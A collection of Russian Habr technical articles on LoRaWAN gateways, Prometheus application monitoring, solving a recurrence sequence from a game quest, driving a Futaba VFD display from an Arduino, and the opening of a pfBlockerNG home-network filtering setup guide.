В идеале, сеть LoRaWAN предоставляет пользователю готовый сервис передачи данных, работающий «из коробки», Достаточно лишь подключить устройство, и данные будут отправлены и обработаны ближайшим концентратором (разумеется если пользователь находится в зоне покрытия сети). Сферы применения достаточно обширны, от датчиков открытия двери, температуры или уровня воды на даче, до gps-маяка на животном или модели самолета.
Несколько видеороликов (на английском).
LoRa Alliance Introduction:
The Things Network Introduction:
<https://www.youtube.com/watch?v=VEvopr1FLtw>
Впрочем, если говорить о The Things Network, то это «любительский» сервис, разумеется не гарантирующий постоянного соединения. Существуют ли коммерческие провайдеры LoRaWAN, мне пока неизвестно.
### Что делать если покрытия нет?
Может возникнуть вполне резонный вопрос — что делать, если до ближайшего gateway пара суток поездом или пара часов самолетом? В этом есть свой плюс — можно стать первым. Можно создать свой gateway и зарегистрировать его на сервере The Things Network, цена вопроса различна в зависимости от функциональности — от >1000EUR за «фирменные» многоканальные концентраторы, до 15$ за самодельные устройства на базе SX1276 и Raspberry Pi. [Здесь](https://www.loriot.io/lora-gateways.html) есть сравнительная таблица разных маршрутизаторов, желающие могут изучить ее более подробно.
Последний вариант будет рассмотрен в следующей части. | https://habr.com/ru/post/398247/ | null | ru | null |
# Мониторинг приложений с Prometheus
Добрый вечер!
На этой неделе мы запускаем четвёртый по счёту поток курса [«DevOps: практики и инструменты»](https://otus.pw/Qsex/), так что по традиции небольшая интересная статья для вас.
Поехали
В этом практическом руководстве мы рассмотрим, как интегрировать мониторинг Prometheus в существующее приложение. Мониторинг приложения может дать представление о том, как и когда приложение используется. Более того, можно предугадать потенциальные проблемы.
Ключевые моменты:
* Изучение способов мониторинга приложений и серверов с помощью Prometheus;
* Запуск Prometheus в Docker;
* Мониторинг и инструментирование образца приложения Golang;
* Развертывание Prometheus со стеками Docker;
* Краткое руководство с примерами PromQL.
**Значение Экспортеров**
Prometheus представляет собой базу данных временных рядов с UI и весьма сложным языком запросов (PromQL). Prometheus может парсить метрики, счетчики, индикаторы и гистограммы через HTTP при помощи plaintext и более эффективного протокола.
*Глоссарий:*
Встраивание endpoints /metrics в существующее приложение, называется инструментированием (instrumentation). А когда endpoint /metrics является частью автономного процесса — экспортером (Expoter).
**NodeExporter**
Один из самых популярных экспортеров — NodeExporter. Когда NodeExporter запущен на хосте, он предоставляет детали нагрузки ввода-вывода, памяти, диска и CPU. Его можно запустить как Docker контейнер, но это требует большого количества дополнительных флагов, поэтому рекомендуется запускать его напрямую на хосте, где ведется мониторинг.
**Встроенный экспортер**
Prometheus предоставляет собственный набор метрик — что, по сути, dogfooding (использование своих собственных продуктов в целях тестирования). Он уже встроен и обычно включен по умолчанию.
**Экспортеры, поддерживаемые сообществом**
Интересные экспортеры, написанные к Саммиту Docker в Берлине — экспортеры Docker Hub и GitHub Эдварда Маршала (Edward Marshall). Эти экспортеры собирают метрики сайтов Docker Hub и GitHub путем периодического запроса API и передачи этих значений.
*При создании экспортера Эд использовал [клиентские библиотеки Python](https://github.com/prometheus/client_python), но доступны и другие языковые привязки.*
* [Экспортер Docker Hub](https://github.com/infinityworksltd/docker-hub-exporter/), написанный на Python
Один из первых написанных мною экспортеров должен был мониторить статистику майнинга Bitcoin — сколько долларов заработал, сколько решений (хэшей) в секунду обрабатывает мое оборудование.
*Мой Bitcoin экспортер написан на Node.js и использует метрики типов Гистограмма и Радиальный датчик.*
* [Экспортер майнинга Bitcoin](https://github.com/alexellis/nicehash-overwatch/blob/master/prometheus/server.js) на Node.js
*Прочие экспортеры выделены в документации. Например, MySQL, Mongo, Redis, NATS, Nginx и JenkinsCI.*
**Создание своего экспортера**
И тут все становится намного интересней — мониторить можно почти все что угодно. Представим, что у нас есть магазин в Shopify (то есть: карманный онлайн-магазин), в котором мы следим за продажами и статусами заказов.
Вот несколько идей для метрик, за которыми можно следить:
* самый продаваемый продукт;
* самая продаваемая категория;
* общее количество заказов за определенное время;
* время ожидания между оплатой и отправкой заказа;
* общее колличество отзывов;
* средняя оценка в отзывах;
* общее количество регистраций.
А если этот вид данных уже окажется доступным, можно просто следить за более низкоуровневыми метриками:
* количество обработанных транзакций;
* время отклика платежного шлюза;
* ошибки HTTP, например 403 и 404;
* геолокация покупателей с помощью IP адресов.
Посмотрим на простой Prometheus рецепт c Docker, а затем вернемся к написанию собственной инструментации для тестового приложения.
**Prometheus с Docker**
Prometheus написан на Golang и может использоваться как самостоятельный статически скомпилированный бинарный файл без зависимостей. Проект также упаковывает бинарный файл с разумной конфигурацией в Docker контейнер.
**Запуск Prometheus в Docker**
Определим Docker Compose, который позволяет командным строкам оставаться простыми и повторяемыми:
```
version: "3"
services:
prometheus:
image: quay.io/prometheus/prometheus:latest
ports:
- 9090:9090
```
Разверните файл стека:
*Для деплоя стек-файлов необходим Swarm режим, поэтому запустите docker swarm init, если не сделали этого ранее.*
```
$ docker swarm init
$ docker stack deploy monitoring --compose-file=./docker-compose.yml
```
Зайдите на <http://localhost:9090/>, чтобы взглянуть на интерфейс.
На скриншоте выше можно увидеть количество используемых go\_routines, записанных самим Prometheus. Чтобы посмотреть на сырые метрики, которые собирает Prometheus про самого себя, откройте браузер и перейдите на <http://localhost:9090/metrics>
*Go routine — облегченная версия потока, которая используется в Golang для обеспечения конкурентности.*
Вероятно, вам и не нужно мониторить Prometheus. Но сам факт наличия такой возможности означает, что вы сразу можете познакомиться с метриками.
**Инструментирование приложения**
Посмотрим на инструментирование вашего приложения.
Существует два подхода к инструментированию, но оба они включают необходимость открытия или имплементации endpoint’а HTTP/s. По умолчанию endpoint — /metrics, но его можно перенастроить на ваш файл prometheus.yml. Prometheus будет использовать endpoint для сбора метрик с регулярным интервалом в 5с или 30с.
**Нужно ли править код приложения?**
Можно сделать /metrics endpoint частью существующего кода приложения. Это осуществимо, если у вас уже есть реквизиты и данные для взаимодействия с уровнями оплаты или базы данных. Минус — нужно включить новую библиотеку, endpoint и зависимость в ваш продукт или проект.
**В чем заключается другой вариант?**
Можно написать отдельный процесс, который выступает в качестве прослойки для получения доступа к информации из вашего приложения или окружения. В случае с [экспортером Docker Hub](https://github.com/infinityworksltd/docker-hub-exporter/), происходило считывание данных из внешнего API, управлять которым было невозможно. Поэтому, если вам трудно получить разрешение на изменение существующего приложения, этот способ может сработать.
Преимущество отдельного процесса заключается в том, что вам не придется повторно развертывать приложение, если возникла необходимость обновить то, что вы мониторите.
**Имплементация endpoint’а**
Prometheus может считывать данные из двух форматов “экспозиции”. Зайдем на [localhost](http://localhost):9090/metrics и посмотрим на результат предыдущего примера go\_routines.
```
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 92
```
**Используйте клиентскую библиотеку**
Существует множество библиотек для работы с метриками, и большинство из них может выводить текст и более эффективный бинарный формат (Protobuf), упомянутый выше.
[Форматы экспозиции Prometheus](https://prometheus.io/docs/instrumenting/exposition_formats/)
*Проект поддерживает языковые связки для Golang, Java, Python и Ruby, но в открытом доступе есть и многие другие.
С полным списком можно ознакомиться здесь:*
[Библиотеки Prometheus](https://prometheus.io/docs/instrumenting/clientlibs/)
**Стоит ли писать собственную?**
Формат plaintext настолько прост, что можно с легкостью встроить протокол, следуя [форматам экспозиции Prometheus](https://prometheus.io/docs/instrumenting/exposition_formats/).
И перед тем, как создавать свою, убедитесь, что точно не удастся использовать существующие проверенные клиентские библиотеки.
**Инструментирование Golang приложения**
Создадим простое приложение и инструментируем его напрямую с помощью библиотеки Golang Prometheus.
**Пример использования:**
Нужно написать веб-сервис для предоставления SHA-256 хэшей по требованию. Для этого нужно знать несколько вещей:
* Сколько получаем запросов для хэшей;
* Сколько в среднем требуется времени для расчета хэша;
* Сколько ошибок 400 (bad request) мы получаем.
К счастью, можно получить все вышеописанное, используя метрику гистограмма, но самым простым примером будет счетчик (всегда повышается или остается прежним) радиального датчика (аналогичен счетчику, но может как повышаться, так и понижаться).
*Ознакомиться можно на [Metric Types](https://prometheus.io/docs/concepts/metric_types/)*
Полный код, включая Dockerfile, доступен на GitHub: [alexellis/hash-browns](https://github.com/alexellis/hash-browns)
Вот пример “server.go” файла:
```
func main() {
histogram := prometheus.NewHistogramVec(prometheus.HistogramOpts{
Name: "hash_duration_seconds",
Help: "Time taken to create hashes",
}, []string{"code"})
r := mux.NewRouter()
r.Handle("/metrics", prometheusHandler())
r.Handle("/hash", hashHandler(histogram))
prometheus.Register(histogram)
s := &http.Server{
Addr: ":8080",
ReadTimeout: 8 * time.Second,
WriteTimeout: 8 * time.Second,
MaxHeaderBytes: 1 << 20,
Handler: r,
}
log.Fatal(s.ListenAndServe())
}
```
Здесь мы регистрируем путь нашего приложения и metrics.
После этого записывать потраченное время можно с помощью вызова histogram.Observe(seconds).
```
start := time.Now()
// Do something
duration := time.Since(start)
code := 200 // some HTTP Code
histogram.WithLabelValues(fmt.Sprintf("%d", code)).Observe(duration.Seconds())
```
Можно сгенерировать хэш:
```
$ curl localhost:8080/hash -d "my_input_value_here"
49b8c4256d603a68ee9bcd95f8e11eed784189bd40c354950014b6d7f7263d6c
Cледующее отобразится, если написать curl localhost:8080/metrics:
# HELP hash_seconds Time taken to create hashes
# TYPE hash_seconds histogram
hash_seconds_bucket{code="200",le="1"} 2
hash_seconds_bucket{code="200",le="2.5"} 2
hash_seconds_bucket{code="200",le="5"} 2
hash_seconds_bucket{code="200",le="10"} 2
hash_seconds_bucket{code="200",le="+Inf"} 2
hash_seconds_sum{code="200"} 9.370800000000002e-05
hash_seconds_count{code="200"} 2
```
Последний шаг — отредактировать prometheus.yml и начать парсить новый код приложения. После этого вы найдете метрики в выпадающем списке и сможете визуализировать значения.
**Объединение**
Нужно изменить конфиг Prometheus, для этого воспользуемся небольшим трюком по извлечению дефолтного конфига из официального образа Docker:
```
$ docker run --entrypoint='' -ti quay.io/prometheus/prometheus:latest /bin/cat /etc/prometheus/prometheus.yml > prometheus.yml
```
Теперь поправим файл prometheus.yml, созданный в текущей директории. В секции scrape\_config добавим следующее:
```
- job_name: 'hashbrowns'
# metrics_path defaults to '/metrics'
# scheme defaults to 'http'.
static_configs:
- targets: ['hashbrowns:8080']
```
Docker Swarm позволяет сервисам обращаться друг к другу через встроенный DNS, поэтому цель — просто метка (“hashbrowns”) из компоновочного файла.
Теперь создадим новый файл docker-compose.yml:
```
version: "3"
services:
prometheus:
image: quay.io/prometheus/prometheus:latest
ports:
- 9090:9090
volumes:
- "./prometheus.yml:/etc/prometheus/prometheus.yml"
hashbrowns:
image: alexellis2/hash-browns
ports:
- 8080:8080
```
Развернем файл стека:
```
$ docker stack deploy tutorial --compose-file=./docker-compose.yml
```
*Примечание: Обращение к сервису по имени будет работать до тех пор, пока у вас только одна реплика. Если вы захотите масштабировать сервис, придется разобраться, как позволить Prometheus находить реплики по отдельности.*
Вот как это выглядит в интерфейсе Prometheus:
Дадим ответы в формате PromQL с помощью метрик, которые мы собрали выше. Мне потребовалось некоторое время, чтобы привыкнуть к [PromQL](https://prometheus.io/docs/querying/basics/), но повезло, что Джулиус написал очень детальную статью, доступную [здесь](https://www.digitalocean.com/community/tutorials/how-to-query-prometheus-on-ubuntu-14-04-part-1).
* Ответ на вопрос: Сколько получаем запросов для хэшей;
Выражение PromQl, написанное ниже, дает скорость возрастания для нашей хэш-функции в рамках 1 минуты. Рамки можно уменьшить, но они должны покрывать хотя бы два образца.
```
rate(hash_seconds_count[1m])
```
* Ответ на вопрос: Сколько в среднем требуется времени для расчета хэша;
Чтобы узнать среднее значение за последние 5 минут, напишите:
```
rate(hash_seconds_sum[5m]) / rate(hash_seconds_count[5m])
```
* Ответ на вопрос: Сколько ошибок 400 (bad request) мы получаем.
```
rate(hash_seconds_count{code="400"}[5m])
```
**Завершение**
* Это работает на ARM процессоре или Raspberry Pi?
Да, у меня есть образ Docker (alexellis2/prometheus-armhf:1.5.2), доступный в Docker Hub для Prometheus, и проект AlertManager (alexellis2/alertmanager-armhf:0.5.1).
THE END
Как всегда ждём вопросы и комментарии тут или на [Дне открытых дверей](https://otus.pw/mGRT/). | https://habr.com/ru/post/358588/ | null | ru | null |
# Вывод формулы n-ного члена для рекуррентной последовательности на примере задачи из квеста Амнезия
> Пеленгский фермер Бух'ерик разводит хрякоплюхов. Эти животные размножаются так быстро, что их поголовье ежедневно возрастает в 3 раза. Но, начиная со второго дня, на ферму повадилась нападать стая страшных зверей долбогрызов, каждый вечер пожирающих вдвое больше хрякоплюхов, чем их было в предыдущий день. Сколько хрякоплюхов будет у фермера на 7-й вечер, если вначале их было 10?
>
>
> Вы спросили у гаальца, что он думает по поводу этой задачки. После некоторого размышления тот ответил:
>
> — В начале было 10 хрякоплюхов. В первый день они размножились, и к началу второго дня их стало 30. Во второй день они опять размножились (их стало 90), но вечером пришли долбогрызы и съели вдвое больше хрякоплюхов, чем было вчера (в первый день), т.е. 20 штук. Итого, в начале третьего дня получаем 70 хрякоплюхов. Мне кажется, что, продолжая решать таким образом, можно вычислить число хрякоплюхов в любой день.
>
>
Это задача из игры «Космические Рейнджеры 2», квест Амнезия.
Попробуем вывести формулу для количества хрякоплюхов на n-ный день, и посчитать для примера количество хрякоплюхов на 32-й день.
Посмотрим на первые несколько дней (я добавил день «0» только для удобства формулы, можно все делать и без него)
| | День «0» | День 1 | День 2 | День 3 |
| --- | --- | --- | --- | --- |
| Утро | 0 | 10 | 30 | 70 |
| После размножения | 0 | 10 \* 3 = 30 | 30 \* 3 = 90 | 70 \* 3 = 210 |
| После долбогрызов (вечер) | 0 | 10 \* 3 — 0 \* 2 = 30 | 30 \* 3 — 10 \* 2 = 70 | 70 \* 3 — 30 \* 2 = 150 |
Нас будет интересовать количество хрякоплюхов на утро n-ного дня, и, несмотря на то, что в задаче спрашивается про вечер, верным будет утреннее количество.
Таким образом, количество хрякоплюхов (на утро) являет собой последовательность
Про эту последовательность мы знаем (по условию задачи) что  и 
Так же, по условию задачи, ночью ничего не происходит, поэтому хрякоплюхи вечером в полном составе без изменений переносятся на утро следующего дня (т.е. количество хрякоплюхов утром равно их количеству вечером предыдущего дня).
Т.е. на утро второго дня их стало .
На утро третьего дня их уже .
| | День n-2 | День n-1 | День n |
| --- | --- | --- | --- |
| Утро | $F_{n-2}$ | $F_{n-1}$ | $F_{n} = 3*F_{n-1} - 2*F_{n-2}$ |
| После размножения | $3 * F_{n-2}$ | $3 * F_{n-1}$ | $3 * F_{n}$ |
| После долбогрызов (вечер) | $3 * F_{n-2} - 2 * F_{n-3}$ | $3 * F_{n-1} - 2 * F_{n-2}$ | $3 * F_{n} - 2 * F_{n-1}$ |
Начиная со второго дня  действует такая рекуррентная формула:
Итого, ещё раз всё вместе
Мы получили формальное определение последовательности и этого уже достаточно чтобы можно было вручную посчитать сколько будет хрякоплюхов на какой день. Более того, если у нас магическим образом появилась какая-то формула для , и эта формула выполняется для этих 3-х условий, то эта формула будет тем, что нам нужно.
Мы же будем пытаться получить эту формулу.
Как правило, чтобы что-то найти нужно составить уравнение, поэтому так и поступим.
Наша последовательность  — это то, что мы хотим найти (точнее, мы хотим получить формулу для её членов).
Будем делать уравнение из последовательностей. Для этого изобретём сложение для последовательностей:
Т.е. сумма последовательностей есть тоже последовательность.
Важно упомянуть что наши последовательности вообще-то бесконечные, и так просто что-то с ними делать нельзя. Нельзя, к примеру, безо всяких оговорок просуммировать все члены последовательности — никто не может бесконечное время сидеть и суммировать.
Бесконечная последовательность — это то, где для любого номера члена мы можем сказать как его посчитать за конечное время. В случае последовательности  мы как бы говорим: возьмите день0, возьмите день1 и далее потихоньку, шаг за шагом, считайте следующие дни пока не дойдёте до нужного вам.
Для суммы последовательностей мы говорим: если вам нужен 100-й член суммы, то возьмите по 100-му члену из слагаемых последовательностей и сложите их. Нужен миллионный — так же, возьмите миллионный там, возьмите миллионный сям, сложите эти числа и получите что вам нужно.
Это похоже на то, как суммируются многочлены, к примеру: 
.
Можно даже представить себе бесконечный многочлен
где  — просто какие-то символы. И если мы складываем два таких «бесконечночлена», то их сумма будет как раз сумма последовательностей (мы так определили сумму последовательностей).
Тут важно понимать что на самом деле нет никаких бесконечных многочленов, это просто иная но более удобная запись бесконечной последовательности: пишем , а видим .
Теперь придумаем умножение для последовательностей. Просто попарно перемножить члены так же как со сложением не пойдёт — хотя это и будет похоже на умножение, интересных свойств это не даст. Да и хочется чтобы умножение было бы похоже на умножение многочленов.
К примеру, вот так умножаются обычные конечные многочлены:
Берутся и перемножаются: раскрываются скобки, и группируются члены с одной и той же степенью икса
Другими словами, каждый член первого многочлена умножается на каждый член второго.
Каждый с каждым.
Так просто это обобщить на бесконечные последовательности нельзя — опять же, потому что никто не может бесконечное количество раз умножить на бесконечное количество элементов. Тут важно правильно сказать, а именно что пускай n-ный член произведения последовательностей равен
**Почему именно так**В самом деле, если вам интересно что стоит на 100-м месте, т.е. какой коэффициент у , то вы вполне можете сказать:  может получиться если умножились . Также  может получиться если умножились . Можно сообразить и привести всю 101 пару членов, которые при перемножении дадут . И после этого упомянуть что больше никак  в произведении не может получится.
Теперь мы умеем складывать бесконечные последовательности и так же умеем их перемножать. Можно заметить некоторые хорошие свойства, к примеру что ; ; . Мы придумали это сложение и умножение, нужно обязательно проверять что такие свойства выполняются (это «группа» и «кольцо»). Это несложно проверить, и, в целом-то, эти все свойства довольно естественны, особенно для тех кто хоть сколько-то складывал и умножал конечные многочлены.
Попробуем теперь для примера посчитать . Согласно определению умножения получаем
Выглядит логично — умножение последовательности на число даст умножение каждого члена на это число. И это сходится с
Важное замечание: , где соответственно 
Теперь посчитаем . Так же согласно определению умножения получаем
 0, либо 0 при n = 0} $" data-tex="display"/>
Т.е.
Что, собственно, так же сходится с
Так же получаем что .
Это базовые операции над нашей последовательностью, и теперь вот это всё хорошо бы собрать и применить к начальной рекуррентной формуле :
Из первой строчки вычитаем вторую и прибавляем третью:
Итого получаем (используя хорошие свойства сложения и умножения):
что, напомню еще раз, на самом деле
Это и есть уравнение, и его мы будем решать. Мы не можем взять так просто и поделить на , хотя бы потому что мы не определяли операцию деления. Вместо этого мы будем умножать обе части уравнения на что-то такое, что как бы является , и в конечном итоге оставим одинокую F слева.
На текущий момент из того что мы имееем мы не можем достоверно сказать существует ли вообще такое  (хотя так-то оно существует, и мы его сейчас сделаем).
**Почему можно умножить обе части уравнения на что-то**Если у нас есть какие-то  и , да и при том такие что , то
Но из этого абсолютно не следует что если , то . К примеру, из того что  вовсе не следует что .
Для того, чтобы было верно
нужно чтобы существовал такой элемент , что .
Тогда можно получить что 
Немного преобразуем наше уравнение:
Это, опять же, не просто так, это потому что последовательность  умноженная на  и умноженная на 
даёт в результате 
Вот теперь уже чуть легче, теперь хорошо бы отыскать такие  и , да и умножить на них наше уравнение.
Такие обратные последовательности есть, и вот их формула
**Как это можно получить**Для начала попробуем на простом случае, с :
Ясно что , тут без вариантов. Теперь посмотрим что может получится у 1-й степени x:  (я просто покомпонентно перемножаю первую последовательность на вторую). Ясно что . Так же далее получаем что .
Для общего случая  действуем подобным образом.
Таким образом, умножаем обе части уравнения:
Посмотрим повнимательней на
По определению произведения получаем формулу для n-ного члена:
**Откуда появился последний шаг**Это обычная сумма членов конечной геометрической прогрессии. Можно по-быстрому получить вот так:
Пусть . Тогда .
В то же время,  следовательно
Итого приравнивая  получаем .
Подставляем полученное произведение
При умножении на  все члены умножились на 10 и сдвинулись на 1 вправо.
Итого получаем результат
Именно эту формулу нужно использовать для прохождения квеста, и именно её можно найти в подсказках в квесте.
К примеру на 32-й день получаем .
Глядя на формулу можно сказать что хрякоплюхам долбогрызы не помеха — они даже будучи поедаемыми успевают экспоненциально размножаться.
Таким же образом можно вывести формулу для n-ного члена последовательности Фибоначчи, правда там числа будут пострашней — с корнями, и при этом при любом n формула даст натуральное число.
**Немного размышлений о сложности алгоритма**Если реализовывать алгоритм расчета хрякоплюхов согласно рекуррентному определению (необязательно при этом использовать рекурсию), то сложность получается O(n).
А вот если по формуле — то тут можно и поспорить, будет ли это O(n) либо O(1). Зависит как мы считаем 2\*\*n — это O(1) или O(n). С одной стороны, это битовый сдвиг, с другой стороны при n больших чем разрядность процессора потребуется больше времени на вычисления.
К примеру, если сделать Ethereum контракт, который будет считать этих хрякоплюхов, и посмотреть что получится по потреблению gas в зависимости от алгоритма:
**Код на solidity**
```
pragma solidity ^0.4.0;
contract Rangers {
/*
10 -> 1335 gas
20 -> 2385 gas
30 -> 3435 gas
40 -> 4485 gas
50 -> 5535 gas
60 -> 6585 gas
70 -> 7635 gas
80 -> 8685 gas
90 -> 9735 gas
100 -> 10785 gas
*/
function byStepByStep(uint n) public pure returns (uint) {
if (n == 0) {
return 0;
}
if (n == 1) {
return 10;
}
uint result = 10;
uint prev1 = 10;
uint prev2 = 0;
for (uint i = 2; i <= n; i++) {
result = 3*prev1 - 2*prev2;
prev2 = prev1;
prev1 = result;
}
return result;
}
/*
10 -> 310 gas
100 -> 310 gas
200 -> 310 gas
*/
function byFormula(uint n) public pure returns (uint) {
return 10*(2 ** n - 1);
}
}
```
То вполне предсказуемо получится что по шагам будет O(n), а по формуле самый настоящий O(1). | https://habr.com/ru/post/345420/ | null | ru | null |
# Индикатор Futaba M204SD02AJ в последовательном режиме
В этой статье я хочу поделиться опытом использования индикатора FUTABA MSD204AJ в режиме последовательного интерфейса. Будем программировать на ардуине.
Для перевода индикатора в последовательный режим нужно установить перемычки в соответствии с [даташитом](http://www.gaw.ru/pdf/pdf/lcd/Batron/character/M204SD02AJdm.pdf):
J3-вкл
J4-выкл
J5-вкл
J6-вкл
J7-выкл
В этом режиме назначение выводов следующее (в соответствии с таблицей 11):
1 — Общий
2 — Питание 5В
3 — Вх/Вых данные
4 — Строб импульс
6 — Тактовые импульсы
Типичная посылка на индикатор состоит из стартового байта и непосредственно байта нужной нам информации (будь то команда или данные).
Стартовый байт состоит из пяти логических единиц, бита RW Чтения(1)/Записи(0), бита идентификатора RS Команды(0)/Данные(1), логического нуля — итого восемь бит. При этом запись битов в индикатора происходит по переднему фронту тактового импульса. А чтение битов из индикатора — по заднему фронту. Любая посылка чтения/записи начинается после заднего фронта сигнала Строб, а заканчивается по переднему фронту.
1 — в этот момент начинается прием/передачи.
2 — в этот момент заканчивается прием/передача
3 — в этот момент происходит чтение бита индикатором
4 — бит определяет Запись/Чтение
Вообщем наша задача:
1. установить строб в нуль.
2. установить вывод тактового сигнала в ноль.
3. выдать информационный бит.
3а. чутка подождать.
4. установить вывод тактового сигнала в единицу.
4а. чутка подождать.
5а пункты 2-4 делать 8 раз. — это будет первый байт.
5б пункты 2-4 сделать еще 8 раз. — это будет второй байт.
6. установить строб в единицу.
Итак, берем макетку ардуины и среду разработки.
Объявим дефайны:
```
#define _STB 2
#define _SCK 3
#define _SISO 4
```
Настроим порты ардуины:
```
pinMode(_STB, OUTPUT);
pinMode(_SCK, OUTPUT);
pinMode(_SISO, OUTPUT);
```
Установим strob и clock в лог единицу:
```
digitalWrite(_STB,1);
digitalWrite(_SCK,1);
```
И начнем отправлять биты в индикатор. Т.к. нам нужно отправлять 2 байт друг за другом, то сделаем это при помощи вложенного цикла for в for.
Создадим процедуру, обзовем ее futab. Она будет использовать две входящие переменные. x1 это первый стартовый байт, x2 — это байт данных.
```
void futab(int x1, int x2){
digitalWrite(_STB,0); //п.1
for (j=1; j<3; j++){
if (j==1) {cmd = x1;} else {cmd = x2;} //п. 5а, 5б
for (i=7; i>-1; i--) {
digitalWrite(_SCK,0); //п.2
digitalWrite(_SISO,bitRead(cmd,i)); //п.3 устанавливаем на выходе i-й бит байта
delayMicroseconds(2); //п.3а чутка ждем
digitalWrite(_SCK,1); //п.4
delayMicroseconds(2); //п.4а чутка ждем
}
}
digitalWrite(_STB,1); //п.6
}
```
Ну и всё, можно пользоваться этой процедурой. Как? А вот так:
```
futab(0b11111000,0b00000001); //стартовый байт и команда 4-4-1 очистки дисплея.
// или так
futab(0b11111000,0b10010101); //стартовый байт и команда 4-4-8 установки адреса DDRAM = 15h, т.е. установить курсор в 3-ю строчку 2-й столбец
// а также так
futab(0b11111010,0b010000010); //вывод кода 41h (буква А). Команда 4-4-10.
```
Вот так это выглядит на экране осциллографа
Ну а дальше просто кидать команды и данные в индикатор и получать на табло всякие надписи. Сама система команд очень похожа на команды популярного контроллера HD44780, за исключением пары управляющих бит, которыми можно управлять яркостью индикатора.
Т.к. применения данного индикатора не вижу, то выведу простой Hello, world. Напишу, что называется в лоб, по буквам. Никаких библиотек, только коды символов, только хардкор.
**Здесь код**
```
/* FUTABA */
#define _STB 2
#define _SCK 3
#define _SISO 4
int i,j,n,m;
int cmd;
void futab(int x1, int x2){
digitalWrite(_STB,0);
for (j=1; j<3; j++){
// delay(1500);
if (j==1) {cmd = x1;} else {cmd = x2;}
for (i=7; i>-1; i--) {
digitalWrite(_SCK,0);
digitalWrite(_SISO,bitRead(cmd,i));
delayMicroseconds(2);
digitalWrite(_SCK,1);
delayMicroseconds(2);
}
}
digitalWrite(_STB,1);
delay(50);
}
void setup() {
// put your setup code here, to run once:
Serial.begin(9600); // starts the serial monitor
pinMode(_STB, OUTPUT); //скажем портам "работать на выход"
pinMode(_SCK, OUTPUT);
pinMode(_SISO, OUTPUT);
digitalWrite(_STB,1); // и установим их в единички
digitalWrite(_SCK,1);
futab(248,1); //очистка дисплея команда 4-4-1
delay(2000); //подождем пару секунд
futab(250,0x87); // П
futab(250,0x50); // Р
futab(250,0x84); // И
futab(250,0x42); // В
futab(250,0x45); // Е
futab(250,0x54); // Т
futab(248,0b11000011); // команда 4-4-8 установка адрса ДДРАМ=43h это адрес вторая строка, четвертый столбец
futab(250,0x48); // H
futab(250,0x61); // a
futab(250,0x62); // b
futab(250,0x72); // r
futab(248,0b11011111); // команда 4-4-8 установка адрса ДДРАМ=5Fh это 4-я строка, 12й столбец
futab(250,0x35); // 5
futab(250,0x65); // e
futab(250,0x72); // r
futab(250,0x47); // G
futab(250,0x30); // 0
futab(248,0b10011011); // команда 4-4-8 установка адрса ДДРАМ=5Dh это 3-я строка, 10й столбец
futab(250,0x30); // 0
futab(250,0x37); // 7
futab(250,0x2E); // .
futab(250,0x30); // 0
futab(250,0x34); // 4
futab(250,0x2E); // .
futab(250,0x32); // 2
futab(250,0x30); // 0
futab(250,0x31); // 1
futab(250,0x36); // 6
for (m=1; m<5; m++){
for (n=1; n<4; n++){
futab(248,0b00011100); //команда 4-4-5 подвигаем весь экран вправо
delay(100);
}
for (n=1;n<4;n++){
futab(248,0b00011000); //команда 4-4-5 подвигаем весь экран влево
delay(100);
}
}
delay(1500);
for (n=1;n<5;n++){
futab(248,0b00001000); //команда 4-4-4 выключим дисплей
delay(100);
futab(248,0b00001100); //команда 4-4-4 включим дисплей
delay(100);
}
delay(1500);
for (n=1;n<5;n++){
futab(248,0b00111101); //команда 4-4-6 установка яркости 75%
delay(100);
futab(248,0b00111110); //команда 4-4-6 установка яркости 50%
delay(100);
futab(248,0b00111111); //команда 4-4-6 установка яркости 25%
delay(100);
futab(248,0b00111110); //команда 4-4-6 установка яркости 50%
delay(100);
futab(248,0b00111101); //команда 4-4-6 установка яркости 75%
delay(100);
futab(248,0b00111100); //команда 4-4-6 установка яркости 100%
delay(100);
}
delay(1000);
// нарисуем парочку собственных символов
futab(248,0b01001000); //команда 4-4-7 установим адрес CGRAM=8
futab(250,0b00001110);
futab(250,0b00010001);
futab(250,0b00010001);
futab(250,0b00010011); //батарейка
futab(250,0b00010111);
futab(250,0b00011111);
futab(250,0b00011111);
futab(250,0b00011111);
futab(248,0b01010000); //команда 4-4-7 установим адрес CGRAM=16
futab(250,0b00000000);
futab(250,0b00000001);
futab(250,0b00000110);
futab(250,0b00001100); //какая-то фигня
futab(250,0b00010001);
futab(250,0b00000110);
futab(250,0b00001100);
futab(250,0b00010000);
// и выведем их
futab(248,0b10010011); // курсор в координатах 1*20
futab(250,0b00000001); // вывод символа из CGRAM c адреса 1
futab(248,0b11010011); // курсор в координатах 2*20
futab(250,0b00000010); // вывод символа из CGRAM c адреса 2
}
void loop() {
}
```
И в заключение видео работы: | https://habr.com/ru/post/392757/ | null | ru | null |
# pfBlockerNG для домашней сети
pfBlockerNG - пакет pfSense для фильтрации IP трафика и DNSBL блокировки по готовым фидам с некоторыми дополнительными функциями и обширными возможностями по конфигурированию в целом.
И если в предыдущей статье было в деталях расписано устройство и каждая опция, для настройки в целом, то в данной статье будет приведён пример настройки для домашней сети.
Установка
---------
Итак, у нас уже есть настроенный pfSense с двумя (для простоты) интерфейсами - WAN и LAN. Заходим на *System > Package Manager > Available Packages* и выбираем pfBlockerNG-devel (не -devel ветка фактические не поддерживается, не используйте её!).
Переходим на *Firewall > pfBlockerNG* и в появившемся визарде жмём несколько раз next, а затем finish.
После откроется страница обновления/перезагрузки pfBlockerNG - тут он скачает дефолтные фиды и применит основные настройки. Дожидаемся окончания процесса (в конце будет строка "UPDATE PROCESS ENDED") и переходим на *Firewall > pfBlockerNG > IP*.
Настройка IP фильтрации
-----------------------
Ставим галочки: **De-Duplication**, **CIDR Aggregation**, **Suppression**, **Force Global IP Logging** и **ASN Reporting** в значение "Enabled - ASN entries cached for 1 week". Так мы оптимизируем размер IP таблиц, не позволим приватным адресам попасть в список блокировки (лучше вообще никогда не убирать галочку **Suppression**) и получим весьма информативные логи. MaxMind GeoIP в нашем случае не обязательна, но можете бесплатно зарегистрироваться на <https://www.maxmind.com/en/geolite2/signup> и ввести полученный код в **MaxMind License Key**, чтобы видеть код страны IP адреса в логах/репортах. Оставляем **Inbound/Outbound Firewall Rules** как есть (WAN+Block и LAN+Reject соответственно) и ставим галочку **Kill States** - при обновлении IP фидов таблица соединений будет просканирована на наличие IP из списков и, если таковые сессии найдутся, то будут ликвидированы.
